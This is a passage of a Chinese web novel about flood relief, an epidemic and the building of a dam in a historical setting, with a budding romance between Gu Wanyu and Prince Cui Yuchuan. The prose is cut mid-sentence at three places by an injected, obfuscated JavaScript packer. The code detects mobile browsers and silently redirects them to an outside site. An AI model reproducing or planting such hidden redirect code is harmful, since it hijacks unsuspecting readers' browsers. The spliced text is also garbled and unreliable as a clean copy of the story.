“说了陪你一夜,我不会走了。”崔煜川无奈地笑道,“本来就是我喊你来绥金帮我的忙,不能连恩人这点小小的心愿都不能满足,对吧?” “对。”顾婉妤开心地回答。 崔煜川掀开被子一角,小心翼翼地躺了进去。被子里暖融融的,柔软且蓬松,又有香气从旁边飘来,当真是……温柔乡。 他感觉耳朵都烧起来了,半边身子悬空在床外,不敢碰到顾婉妤的身体,更不敢侧头往旁边看。 顾婉妤却满足地眯起了眼睛,打了个呵欠,她的左手还抓着崔煜川的手不放:“你真好。” 崔煜川垂下眼睛,想说自己实在有些对不起她,最终还是什么都没说,只是轻轻地“嗯”了一声。 顾婉妤感到久违的强烈安心感,把自己埋在被子里,很快便睡着了。 崔煜川却僵硬地躺在那里,毫无睡意,直到顾婉妤睡着睡着开始往他身边靠,他感受到少女柔软的身躯贴过来,吓了一跳,差点没掉下床。 狼狈地稳住身形,却看到始作俑者睡得正香,嘴角甚至带着微笑。 看她这样,崔煜川心中泛起一阵柔软。 他认输作罢,觉得自己这样固守礼仪的样子十分愚蠢。或许如顾婉妤一样少想着那些繁文缛节,而是跟随心意、平淡对待,才更能体现对对方的尊重吧。 他侧过身,与她靠在一起,像两只互相取暖的小动物,也闭上眼睛很快地睡着了。 一夜无梦。 清早,外面有鸟叫声。啾啾的声音吵醒了顾婉妤,她睁开眼,看见有淡淡的光线从窗沿下方透进来。 身旁已经空了,但摸摸被衾仍有余温。 她坐起来,摸摸额头,已经退烧了。穿上外衣,推开门走出去,今日没有下雨,天仍是阴沉。 崔煜川似乎已经出发去河岸了,在灶台间给她留了粥。 顾婉妤静静地独自喝完了粥,也出发去赈灾点了。 一到达此处,便觉得气氛与昨日变得不同,更加混乱无序了。或许是因为昨夜里又有许多灾民入城。 所见的层层叠叠的棚户中,几乎都住满了人,在阴暗的天色的映衬下,显出灰色的一片,令人感到压抑。还有些人用草席裹住自己,就这样或躺或坐地待在路边,更添了几分死气沉沉的感觉。 官府正在搭施粥的摊子,顾婉妤便过去帮忙。那里的官员一见她来了,连忙关切道:“顾姑娘,身体恢复了吗?” “嗯,已经好了。”顾婉妤笑笑。 “你可要小心啊,这里好多人都出现了伤寒之症,也不知是否属于一种疫病。”那官员为难地说。 “正是季节交替之时,又淋雨受冻的,若有症状倒也正常,不必过于忧虑。”顾婉妤劝慰他。 话虽如此,两人各自暗地里忧心忡忡,不洁净的水的确是容易引发疫病的。 施粥摊子布完后,官员们便敲锣通知赈灾点的百姓们前来排队领取。一人一碗,不可多拿。 一碗稀粥,喝下肚去真是如水般寡淡,勉强能压住饥饿感。顾婉妤一边给别人舀粥,一边问道:“之后会发大饼、馒头一类的干粮吗?只喝稀粥恐怕要撑不住的。” 站在领粥队伍最前面,正等着过顾婉妤手中的碗的小孩抬起头,期待地看过来。 “这……还得看情况……”官员左顾右盼,语焉不详。 看样子是没什么希望。顾婉妤默默把碗递出去,想,这大水漫过,地里的庄稼也都要毁了。从现在一直到明年收成的季节,麓北的百姓们该怎么过呢? 她与官员们忙碌了半天,才将粥布完。这时被请来给人看病的老医师又过来,建议他们将病人单独隔离起来,说是这次的伤寒病气有传染之症。 好吧,有传染的迹象可不能拖,顾婉妤与官员们又任劳任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996281|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨地跟过去,重新折腾布置了一番,方才专门腾出一片地方用以安置病患。 老医师让他们以布巾围住口鼻,只露出一双眼睛,又在病患们居住的地方烧艾叶、熬药。 那些被洪水浸泡过的物品,尤其是食物,老医师也坚决要求他们扔掉。 大多灾民都不乐意丢掉他们好不容易从洪水中带出来的家当,顾婉妤和官员们又是一阵好说歹说,费尽了口舌,方才扔了大半。 日头西斜,忙忙碌碌的一天又过去了。顾婉妤疲惫地回到小院,心里还琢磨着要不专门出一期小报,向外地求助,或许会有仁人志士向麓北捐粮捐物。 但她白日里忙得都没什么灵感了,不知道该怎样写才能打动别人。 顾婉妤趴在桌子上唉声叹气,或许天底下的文人写不出文章时都是这样的德行。 算了,索性采访采访别人,自己则纯粹做个记录者。 顾婉妤决定不去为难自己,把问题抛给别人。 夜深了,崔煜川还没有回来,想必是依旧在河岸苦战。她回了自己的屋子,闭上眼睛,与自己道一夜好眠。 夜里睡得不太安稳,又听到了窗外的雨声。 第二天,顾婉妤醒来,感觉一整晚都半梦半醒,没有休息好。就这样拖着没调整过来的疲惫的身躯,继续投入到新一天的任务中。 这次,她不仅要照顾好赈灾点的情况,帮助灾民处理生活上的困难,调解随时随地都可能发生的冲突,还要在难得的空闲时间去采访别人。 她在衣服里揣了厚厚一沓稿纸,还有毛笔,随时能掏出来写点东西。 灾民们大多被饿的有气无力,又满心愤懑,懒得理会顾婉妤提出的邀请,只有少数几个人愿意讲讲他们逃难来此的经历,大抵都是夜半涨水,村子被冲垮,他们带着一家老小逃出来。 顾婉妤又去采访官员,官员们倒是配合多了,但他们一直在这城中,甚至连河边涨水成什么样子都没有见到,自然也没什么特别好说的。 倒是有一些城中的百姓,自发带着保暖的被褥衣物和食物来赈灾点捐赠,顾婉妤趁机让他们讲讲对这次洪涝的感受,这群人还能愿意多说一点。 一个年轻的妇人说,她家相公正在河场修建水坝,每天累得要命。河场如今人人都是拼上性命般的苦干,只求能维持住安稳,不要决堤,毁了此处的农田和村镇。 妇人还提到,她家相公盛赞煜王有担当,每日和他们一起泡在水中从不推辞,又十分有魄力,在这种危急关头,仍能力排众议,要求必须将福源堰修建得坚固稳定,以造福后世,绝不能为了防洪便急功近利,建造出不合格的工程, “嗯。”顾婉妤点点头,若是她在场,必然也会支持崔煜川的这个决定。 “但是汨江边如今也非常危险,听说有好几个士兵和壮丁在施工时被大水冲走,生死不明。” “唉,怎会如此。” 众人议论起来,顾婉妤听了心中也难过。 她讲这些真实的话语如实记录下来,晚上回去便不加雕琢地整理起来。她通读一遍,突然发现,人们口述的话语虽然平实,缺乏戏剧般的冲突感,却有一种真挚的力量。若有人能摒弃浮躁和猎奇的心态,仔细阅读,想必如她一样会被这种朴实却有力的直白打动。 42. 西风送凉(13) 这次水患,被完全冲垮的村落统共五座,被淹没的良田十万有余,可谓是满目疮痍、损失惨重。 为逃难进入绥金城的灾民有两千余人,被勉强安置在城中各个赈灾点,很快,官府的存粮就不够用了。与此同时,一种瘟疫在人群中蔓延开来。 这种瘟疫初期的表现与普通的伤寒之症没有什么区别,就是发热、体虚、咳嗽,身体素质好的人只要喝药休息便可自愈。 但有些体弱之人,其症状会随着时间的推移愈发严重,高热不退、呼吸困难、反复咳嗽,直至体衰而亡,大约只需要半月的时间。 水患未除,又有瘟疫,一时间城中人人自危、闭门不出,赈灾点的人们更是闹了几波,非要离开绥金。 可是他们离开绥金之后又能去哪里呢?顾婉妤戴着头巾,匆匆赶来,站在激愤的人群面前安抚他们。她将整张脸包裹得严严实实,连眼睛都用纱巾蒙起来,医师说她最先便发作过一次,不容易再次染上疫病,因此请她多来赈灾点帮忙。 因顾婉妤待人真诚,有求必应,此处的灾民们都认识顾婉妤了,他们不会为难她,只是恳求她放他们离开绥金。 “反正待在这里也没有饭吃,不如去别处投奔亲戚。”有人说道,立马得到了更多的赞成和响应。 “在这里,万一出现疫病症状可以及时得到救治,若是出去了,途中感染瘟疫可怎么办?”顾婉妤摇头,“而且医师说过了,我们每个人身上的衣物,包裹里的物品,都可能带有传播瘟疫的不洁之物。如果放你们出去到各地乱跑,岂不是白白地扩大了疫病的范围,为害他乡?这万万不可。” “那我们就在这里等死吗?” 问话之人是个干瘦黝黑的老头子,一看就是在地里干了一辈子的老农民,如今面黄肌瘦,两眼凹陷如同骷髅,让人看了十分不忍。顾婉妤上前一步,温声说:“老人家,朝廷以及大景各地都十分关切麓北的灾情,向我们送来粮食、草药及其他赈灾物资,汨江到镜麓的河也要通了,到时候福源堰便能建起来,从此再无水患,好日子指日可待,怎么说等死呢?我们都要好好地活。” “但是当下我们已经没有粮吃了。” 顾婉妤沉默片刻,看着眼前清苦又焦急的人群,承诺道:“我保证大家今日可以吃上饭。” 好说歹说,这边的灾民总算安抚下来。顾婉妤招来赈灾点的官员,问:“城中富户承诺开仓放粮,今日该谁家了?” 官员也为难:“富户们已经放过一轮,如今都说是都没有余粮了。” 顾婉妤叹气,点点头:“毕竟是自愿捐赠的举动,无法苛求。那么地方父母官们呢?可有哪家还有余力?” 官员左右看看,凑近她低声说:“杨知府肯定还存着不少粮食,只是不肯捐出。” 放在以前,这些小官们肯定不敢说杨席的不是,但是自从福源堰开建以来,杨席不仅没有担负起水利建设的重任,甚至还以此为借口加重赋税,搜刮城中百姓以及富户们口袋中的油水。后来水患突生,他更是躲在后面,几乎不出来主持大局。 杨席带领的队伍,人心早已散了。他手下这些坚持做实事的官员对他更是尤为不满,希望此次事件结束后,煜王能回京参他一本,让他早日下台,一改绥金城官场的官僚腐败的作风。 “该想个什么办法逼他拿出粮食才行。”顾婉妤也低声道,“杨知府存放粮食的私库在他府上吗?” “是的。” 顾婉妤眼珠一转,坏笑道:“要不让灾民们去他家门口闹吧,反正他们每天不闹上两三次心里就不舒坦,与其闹我们,还不如去闹手里真正有粮食的。” 官员一惊,想说这真是不成体统,却又反应过来,这杨知府手中能有如此多存粮,还不是多年来搜刮民脂民膏得来的!如今水患危急,全拿出来也算他为百姓们回馈一次,有什么不对的呢? “好,那我差人挑动灾民聚集到杨府去,顾姑娘你千万不要插手这件事,以防被有心之人攻讦。” “对了,杨知府可能会坚称自家无粮,你应当安排两个身手好的,偷偷打开院门,让灾民得以见到仓库中究竟有没有粮食。”顾婉妤嘱咐。 官员苦笑,顾姑娘真是考虑周到,杨席这次可是有难了。 既然此处已经无事,顾婉妤转头便去了安置伤患以及感染瘟疫的人们的隔离点,看看有什么需要帮忙的。这些日子,她满城来回跑这几个地方,连轴转地工作帮忙,已经完全习惯了。 隔离病人的地方位于城中一家私人园林内,环境非常好,是一个仁爱乐道的老富商主动为官府提供的地方。 若不是他宅心仁厚,病人们就只能拥挤在肮脏狭窄的窝棚中悲惨度日,没有病都能憋出病来,更何况本就重病之人。 现在在这风光甚好的园林中静养,病患们不满和绝望的情绪少了很多,几乎听不到原本不绝于耳的抱怨声和丧气话了。 为了防止疫病扩散,此处除了病人,只有医师们以及官府派来的杂役可以进出,顾婉妤算一个例外,她如今在这城中几乎可以说是畅行无阻,医师们也乐于见到她来帮忙。 “顾姑娘来了。”此处最为权威的老医师与顾婉妤已经很相熟了,见到她便差使她去送药,不需要客套。 顾婉妤乐呵呵地提上篮子,篮中是一碗碗气味浓郁的药汤。 “顾姑娘,最近身体没什么不舒服吧?” 老医师的大弟子是一名爽朗的大姐,她待顾婉妤亲切得不得了,两人一齐去送药。 “没有呢,看来我最先发一场烧,反而是因祸得福,现在很健康。”顾婉妤笑着说。 “吉人自有天相,”大姐笑了几声,“但预防的药还是得天天喝,我这篮子里也有你的一碗。” 顾婉妤吐吐舌头,那药是真苦啊,但如今药草珍贵,大姐天天专门为她多熬一碗,她不能不识好歹地拒绝。 他们一间间房地送药,等大姐给病人喂药时,顾婉妤也坐在一旁,如壮士断腕般给自己做心理建设,才能把这一碗苦药汁送到嘴边。 患了疫病的小病人眨着大眼睛好奇地看着顾婉妤,大姐在一旁哄着小孩:“你看,大姐姐好厉害是不是!自己就能把药喝掉!我们小乐也不能输,来!一口气喝掉!” 顾婉妤苦笑,对小病人眨了眨眼,便捏住鼻子,一口气闷了。 喝完,她放下碗,嘴里马上被大姐塞了块芝麻糖。 “真厉害!来,我们小乐也喝!” 顾婉妤嚼着芝麻糖盖掉嘴里满腔的苦涩,和大姐一起盯着小病人。 有人在眼前做了示范,小病人便也闭上眼睛,学着顾婉妤的样子死死捏住鼻子,一口气喝干了。 其实捏住鼻子,舌头也能尝到苦味,趁着那味道还没泛上来,顾婉妤连忙往小孩口中塞糖:“快快快!赶紧嚼!” 小孩嘴里被塞了满嘴的糖,鼓起腮帮子慢慢嚼,也就不觉得喝药多难熬了。 看孩子乖乖地喝完药躺下,顾婉妤和大姐才满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024817|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地退出房间。 “看他恢复的还不错,说不准过几日就好了。”顾婉妤说道。 “是啊,小乐这孩子太可怜了,希望大难不死必有后福。他一家子都被水冲走了,只有他一个扒在木凳上飘出来,被邻居抱起来救走。”大姐叹一声气,“要是小乐以后没人养,就我来养!” “姐,你是他的贵人啊。”顾婉妤调侃,“小妹佩服。” “说这话!”大姐不好意思地用手臂拱拱她,“你才是绥金城的恩人,我们佩服你还来不及,莫说这些来折煞我!” 顾婉妤宽慰地笑着摇摇头:“都是相互的。” 这城中捐出粮食、物资甚至园林的百姓们,主动响应号召去河岸修建水利的百姓们,每日辛勤工作的官员和医师们,谁不是这场灾难中的英雄呢?每个人的存在都是不可或缺的,汇聚在一起才能拥有度过难关的力量。 “我有预感,这场灾祸快要过去了。”大姐说。 “希望如此。” 帮助医师们忙完出来后,顾婉妤走在冷清的大街上,难得见到今日街上多了些人在闲聊。她竖起耳朵,听到人们讨论的居然是灾民们去知府家门口讨粮了。 这么快?她忍不住凑过去听,多少存了分幸灾乐祸的心。 那几个人见陌生人凑过来了,还吓了一跳,忙捂住口鼻。顾婉妤摘下纱巾,冲他们笑盈盈地打了个招呼。 几人见居然是顾婉妤,才放下心来,还十分热情地与顾姑娘分享。 “那隔离点多少灾民都去了,少说也得有一千个人!”讲述人语气夸张,“围着知府家的大门就不停地吵嚷,把知府吓得闭门不出。” “然后呢?讨到粮食没有?”顾婉妤兴致勃勃。 “闹了半晌,突然有人喊,去后门,就有不少人又去了后门,那里靠着知府家的粮仓啊!哎,不知道是怎么回事,后门自己就开了。起先灾民们还不敢进去,后来有几个带头的先进去了,那些灾民就哗啦啦全涌进知府家的院子里,看到那粮仓可是满满当当的!” “真的啊,这下他得开仓放粮了吧。”顾婉妤听得啧啧称奇,没想到这杨知府的家底这么厚实,这时候了家中居然还有这么多存粮,可比她与官员以为的还要多。 “是啊,杨知府赶快来维持秩序,不让人抢,好说歹说才把灾民们劝走,说一定会给众人放粮,决不食言。” “嗯,那就好。”顾婉妤满意了,这事做得真不错。 “顾姑娘,你发行的上一期小报,我们都看了,写得真不错,我们也能说点什么登上报纸吗?” “当然了。”顾婉妤有些惊讶,“你们想说什么?” 那人摸着头,有些羞涩,嘿嘿一笑:“我们想说,希望各地仁人志士能伸出援手,帮麓北一把。麓北自古是富庶之地,百姓又颇受教化,懂得知恩图报、大是大非。若当下肯施以援手,助麓北渡过难关,日后麓北每一个人都必定会偿还这份恩情。” “好的,我记下了。”顾婉妤有些感动,不住地点头,“上一期小报发行之后,我已经收到许多地方的联系,说要为麓北捐粮捐物。不少物资已经在来的路上了,有如此多的帮助,想必我们所面对的这场灾祸会很快过去的。” “自然!自然!顾姑娘你可要把这些好人的名字都记下来告诉我们!”几人互相看看,激动地说,“总有一天我们会回报的。” “我会的。”顾婉妤郑重地回答,“我也不会忘记在此地所见到、所经历的这一切。” 43. 西风送凉(14) 从棠湖到镜麓的河道拓通时,绥金城好多百姓不顾阻拦,跑到河岸边庆祝。 士兵们无法,只好笑着把他们拦在距离河岸尚远的安全区域内。 即便如此,百姓们欢庆的声音还是热热闹闹地传到了在河场工地干得热火朝天的人们的耳中。 “河道一通,镜麓那边就可以将采石场的石头运过来了,建起福源堰已是指日可待。” 华师傅停下手里的活计,抬头望望远处,笑道。 一旁的铁匠也同样会心一笑:“不错,我们也得抓紧了。” 在他们身后,是已经初具规模的水闸门,由精铁打制而成,经过淬炼已转化为不易腐锈侵蚀的钢材,它的两端是巨大的铁索勾连,以供置于河中时,能够向上吊起开闸和下放关闸。 远远望去,这堵巨大的水闸门像一座严密的城墙,给人带来强烈的安全感。 “这么好的日子,煜王去哪儿了?” 今日河道拓通是一件大事,但煜王说不宜过度庆祝,一切从简,于是赏赐每名丁夫三两银子,好酒一碗,众人举杯共庆。庆祝之后,煜王便不见了,便有旁人询问。 “不必管煜王,咱们做好自己的事儿啊,就成!”华师傅豪爽地笑道。 绥金城,溪风苑。 自从这里成为疫病患者们修养治疗的隔离之处后,便少有医师之外的外人前来。今日难得有生面孔踏入庭院,老医师眯着眼睛迎上来仔细端详,才认出居然是煜王爷。 “咦?王爷,你有何要事?”老医师困惑地问道。 崔煜川一副理所应当的表情自然地回答:“他们说婉妤在这里,我过来看看她。” “哦。”老医师慢慢点头,恍然大悟,“她在里面晾衣服吧。” 最近病人少了许多,便空出来了一些房间,要进行全面的洒扫,以绝疫染物品,顾婉妤这几天就忙着做这件事。虽然这个活好像是应当由下人专门来做的,但顾婉妤毫无推拒,做得十分认真。 这里的医师几乎都是平民身份,大家不分尊卑,一起认真做事,让顾婉妤觉得很舒适平和。 她正站在溪风苑中心庭院那曲折回环的连廊中晾晒浆洗过的椅垫,这些垫子均是带着精美刺绣的绸缎、棉毛等质地,医师们将病人使用过的床具、衣物、布巾都焚烧处理了,但这些价格不菲的椅垫似乎没有必须要扔掉的必要,他们便好好地清洗了一番,打算晒过阳光后铺回去,以后好还给捐出溪风苑的富商。 连廊的建筑结构很适合搭起用以晾晒的绳子、架子,顾婉妤脚边放了深而硕大的木桶,她一件一件地将垫子从桶中拿出来,整理平整,搭在架子上。庭院中静悄悄的,只有风吹过树梢发出的哗哗声,她有条不紊地动作着,觉得心中又平和又宁静。 虽然是劳动,给她的感觉却好像在深夜展灯独自写一篇习作。 崔煜川踏进中心庭院寻来时,见到的便是顾婉妤悠闲又认真的这幅样子。他嘴角不自觉地扬起一个弧度,向顾婉妤走去,像跻身进入一卷美丽的画卷。 顾婉妤背对着他,便没有注意到有人来,直到脚步声很近了,她才惊觉,回头一望,便撞进了崔煜川黑漆漆的眼眸中。 他眉眼一弯,露出个温柔的弧度:“午后多困乏,休息一下吗?” 哎呀——崔煜川真好看。顾婉妤的心脏不争气地砰砰跳了两下,又美滋滋地在心中想,这么好看的一个人,突然出现在身边,还和风细雨地对她讲话,真如同春风拂面,简直是神明对她辛苦工作的恩赐和奖赏! 两人便暂且放下了手中的事情,在庭院里散了散步,随口聊天。 虽仍然是阴天,但午后的光线正强,穿透云层打在庭院中一丛丛的灌木上,也有种光华耀眼的晴朗之感,令久经阴雨的两人感到些愉悦。 庭院中心还有一潭活水,有红色的小鱼在浅浅的潭中摆尾,顾婉妤指给崔煜川看,甚至还能说出每只小鱼的名字。 “金尾的叫小金,褐斑的叫小木,怎么感觉,都是你现编的呢?”崔煜川托住下巴,戏谑道。 “当然不是啦,我在这里成日看着小鱼,不自觉就开始这样叫它们了。但是我承认,这里面的小鱼有好多都长得一模一样,我也不知道我今天给你介绍的‘小金’,是否是昨日喂食过的‘小金’,亦或是前日游过指尖的‘小金’。” 崔煜川看着抱膝蹲在小潭边的女孩,见到她白皙细嫩的手指在潭水中柔柔地摆动,心中居然生出一种爱怜与疼惜交织之感,他下意识地询问:“是否辛苦呢?” 顾婉妤侧过头,奇怪地看他:“我在说小鱼,你问我辛苦不辛苦做什么?那你成日在河岸边,辛不辛苦呢?” 崔煜川便柔和了眉眼,与她服软:“是辛苦的,但很值得。” “那就是了嘛。”顾婉妤看向清澈见底的小潭,“也许离开绥金之后,我还会怀念这里的一切呢。” “我们在这里待了好久。”崔煜川感叹道。 两人沉默下来,心中均是颇受感触,一晃数月过去,好像时间在这里是如此快速地溜走了,明明遇到了许多刻骨铭心的事情,却终究化为了匆匆岁月中的惊鸿一瞥。 福源堰,终于是将要开始建造了,他们原本便是为此而来的。 等到福源堰一建成,也便可以功成身退了。 “对了,等到这边结束,我们回镜麓吧,据说流火君和阮竹君定下婚期了,他们要邀请我们去观礼。”顾婉妤说到此处,语气顿时期待起来,“好神奇啊,好朋友们居然要成亲了。” “真快啊。”崔煜川感叹,又一皱眉,“可是福源堰建成后,我应当需要先回上京向皇上复命。” “没问题啊,再过去也来得及。”顾婉妤笑眼盈盈,“我陪你!” 好像两个人一起的话,无论是去哪里,都格外地令人期待。 “好,一言为定。”崔煜川舒展了眉头。 从镜麓出发的大船,载着许多巨大石块抵达绥金,当真是解了整个麓北的燃眉之急。 福源堰的本体,正是由这些石块切出的青石条搭建而成,缝隙中填满泥浆,再用铁锭榫将石料整体连接起来,便能做到坚不可摧,不怕水浪的侵击。 而工匠们倾尽全力铸造出的水闸门,也被牢牢地筑进江岸,在江中横劈出一道拦水的障碍。 一开始,当河岸那些已经对水利建设卓有心得的丁夫和工匠们面对这些庞然大物时,难免也生出了许多担忧和不安。 他们该如何顺利完成这项艰难的建设任务呢? 此时,崔煜川做主,号召绥金以及周边村镇的全部百姓加入到这项工程中来。 早已了解崔煜川爱民作风的武官不禁头疼道:“我们哪有那么多钱支付工酬呢?” “这次不给钱了。”崔煜川胸有成竹,“一旦开始有百姓自愿加入我们,后面就会有越来越多的人,毕竟工期已经到了这个阶段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036890|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是该全体一心,合力建设这最重要的一部分了。” “这……”武官还有点没听明白,心中疑惑怎么这次崔煜川变了一贯的作风? “也就是说,这次是要唤起百姓们心中的荣誉与使命感,”崔煜川望向茫茫江中,沉凝片刻,接着说,“福源堰建起后,不如就用剩下的石料立一座万字碑吧,将参与建设的每个人的名字都写上去。” “好,都听您的。”武官若有所思。 在城中,顾婉妤也听到号召全体百姓到河岸去参与修建福源堰的声音。 彼时,她正与医师们一起收拾东西,准备将已经完全空置的溪风苑交还给富商。 这段时日,他们挽救了许多疫病患者的性命,看着原本装满病人,完全不够用的房间一个个空下来,没有人可以不受感动鼓舞。 “老夫一生行医,末了还能攒下如此功德,参与这救人的大事,真是不虚此行啊。”老医师衣着麻布,一身朴素,抱着他的医箱,牵了匹毛驴,“各位,有缘再会!” “老师父,您这就要走了?” 大姐牵着小乐站在一旁,看老医师一副这就要出发的样子,不禁面露许多不舍。 “我这把老骨头,不得赶紧回去颐养天年啊。”老医师故意摆出严厉的表情,语气中的轻松与眼神中的笑意却是掩藏不住,“你带着小乐,好好在绥金城行医治病,不要浪费了我教你的一身本领!” “那当然,肯定不能让您失望。”大姐拽拽乖巧的小乐,“小乐,跟医师爷爷说再见。” “爷爷再见。”小乐乖乖说道,又跑上去抱住老医师的腿,“爷爷,我会想你的。” “好孩子。”老医师摸摸小乐的脑袋,满是慈爱。 一行人道别的话翻来覆去说了几回,老医师才终于骑上毛驴,独自踏上回乡的路。 顾婉妤带着小乐站在一旁,安慰流了眼泪的大姐:“姐,别难过,现在绥金太平了,没有瘟疫了,这是好事啊。” “是啊。”大姐擦擦眼泪,“婉妤,你也要走了吗?” “我还要等崔煜川一起呢。”她笑着摇头,“还能再陪你一段时间!我可要经常来找你和小乐玩哦,不要嫌弃我烦。” “怎么会!”大姐嗔怪道,又突然想起来,“对了,这次我们治疗疫病所积累的大量经验和医方,我都整理好了,你看能不能刊载在你的小报上?好让各地的医师们也看看,将这份宝贵的经验播散出去。” “当然好!”顾婉妤惊喜,她没想到大姐每天忙碌成这样还有时间整理医方,不禁感动,“大姐,谢谢你!” “医者仁心啊。”大姐笑着摆摆手。 顾婉妤与医师们道别后,独自走在街上,她看到许多人从家中出来,准备到河岸去参与工程。这个场景,就好像发水的那个夜晚一样,但如今人们的脸上少了忧心忡忡,多了志得意满,就好像要去参加什么大事,从此能够建功立业一样。 真好啊,这次召集丁夫,分明说了是没有任何报酬的,只是最后能将名字刻在纪念碑上。而百姓们能这样一呼百应,很难说不得益于前期如此多的日日夜夜,每一名辛苦付出的人所做的表率和榜样。 他们的努力,每个人都看得见,也让这个水利工程真正成为了当地百姓们心中关切万分的事情。 顾婉妤抬头看向天空,雨季已经过去,秋高气爽的风吹过发梢。她扬起手,稀薄的阳光透过指缝,播撒在脸上。 44. 西风送凉(15) 大景昌祐年间《麓北志》有记,福源堰主坝长约百丈,高一丈,以青石筑成,为汨江下游最高的一座分水坝,可阻急水险情。顺流而下,其后又可见一条长垄中坝与平原农田间错落砌筑的低坝。以此三等高低不同的分水坝,方保麓北平原百年无洪涝之忧。 修建的过程,经历数月不休的劳作,募集劳工两千余人。而砌筑主坝时,为拉起巨石,绥金百姓及附近乡民尽数自发援助,倾城之力方得完成。 麓北有乡贤,建庙纪念福源堰的建成,当地百姓祭拜感念,福源堰建成前,逢上麓北几十年不遇的雨季,此地的水利设施有效减阻了从上游而来的洪涝,以使受灾村落、乡镇得以重建。 后世之事,先人已不得而知。但后人可以猜到,福源堰建成那天,亲手修建了它的人们,是如同发疯一般的欣喜雀跃。 那天一早,天还蒙蒙亮,顾婉妤便骑了马从她居住的小院子里一路狂奔到棠湖去。棠湖如今已成为连接绥金和镜麓的交通要道,其一端是可以控制水位的大坝,另一端是蓄水的闸门。她之前专门负责督工棠湖工程的进度,对这里已经十分熟悉,甚至能叫出每个丁夫、工匠的姓名。 她听崔煜川说,今日就要最终测试福源堰主坝的三层分水效果,所以棠湖相应地也要关闸闭湖,以使上游水位上涨,她便早早地来看。 等她到了棠湖,湖边已经有一些附近的乡民在围观。她路过时听进去三言两语,才知道原来是官府担忧棠湖闭湖后影响到周边村落的正常生活,便提前向周边乡民们做了预警。 顾婉妤把马拴在树林里,走到湖口靠近闸门处的位置,水闸目前仍处于大开的状态,而水闸两岸的辘轳绞车的旁边站满了力夫,只等待号令者一声令下。 顾婉妤没有上去打扰他们,她只站在近处静静地看着,内心充满自豪感。 太阳一点点地从远方升起来,明媚而热烈的光慷慨地洒在麓北宽阔丰饶的土地上。时辰已到,两岸有人同时举起旗子,顿时,力夫队伍们便喊起了有节奏的号子。 他们极富经验,根据号子的节奏同时发力,一张一弛,两岸节奏一致,围观的人们便能看到那铁索勾连的辘轳开始转动,仿佛其牵引的不是千斤重的钢铁,居然能如此顺滑轻易地便将水闸门下放。 顾婉妤知道,这不仅是力夫们配合默契的功劳,其更多在于铁匠们的精心制作打磨,做出了这样优良灵活的绞车,极大便利了人们的操作和使用。 水闸门顺利下放,强硬地将江水一分为二,水底传来一道巨大的钢铁相撞的声响,令人心跳,这便是水闸门成功落入了凹槽,从此便可阻住上游而来的江水。 听到人群传来的欢呼声,力夫们也完全没有松懈半分,他们将铁索与辘轳固定住,并涂上了一层防腐防锈的油面,才功成而归。 阳光播撒在水闸门之外动荡不止的水波中,泛起粼粼的金光。顾婉妤想,现在上游的水位将开始上涨了,只是肉眼还无法看出来,她应该接着去到主坝,见证分水的全过程。 只是还不着急,要等水涨起来,还需要好长一段时间。 她悠闲地走到树林中,坐在树下,低伏的草又厚又软,带着秋日特有的干燥感。 岸边热闹的人群逐渐往西移动而去,应该是要追着水一路到福源堰主坝那儿去,她眯着眼睛看着人群缓慢移动,心中充满了安定的感觉。 秋季是丰收的季节,也是离别的季节,再过不久,她就要与此地的一切道别了。 说到要走,还真有些舍不得。 顾婉妤安静地待在树下,被枝叶之间投下的暖洋洋的光照着,她放任思绪胡乱地飞,不一会儿居然睡着了。 梦里是上京花朝节夜晚的鱼龙灯与簇簇流火,在人间汇成一条暖色的璀璨星河,她沿着光行走,突然听见身边有人温柔地低声对她笑: “在这偷闲吗?” 她闻声转头,看到身侧不知何时出现了一个熟悉的身影,崔煜川深邃俊朗的面孔一半沐在黑暗中,一半被夜晚华彩的光照亮,眼波流转,他凑近她:“笨蛋,在做什么美梦,笑得这样开心。” 两人离得太近了,眼前是放大的美貌,让她心脏如小鹿一般活蹦乱跳,只会呆呆地看着对方发亮的眼眸,里面盛满了细碎的光,晃啊晃,勾得她想要失去理智。 这么好看…… 在梦里的话…… 亲一下好像也不要紧? 顾婉妤紧张地咽了下口水,一瞬间这种想要放肆的心情超过了一切,占据了大脑。 她视线下移,盯着崔煜川淡色的薄唇,迷迷糊糊地凑上去,还因为身高不够踮起了脚,抓住崔煜川宽而瘦削的肩膀,她的嘴唇软软地贴上了他的。 一种颤栗的感觉从相接的位置传来,她睁着眼睛,看到崔煜川的眼眸中传来错愕。一个青涩的若即若离的吻,她的手还紧张地捉着他的肩,却心满意足地后撤。 亲到了,好爽,开心。 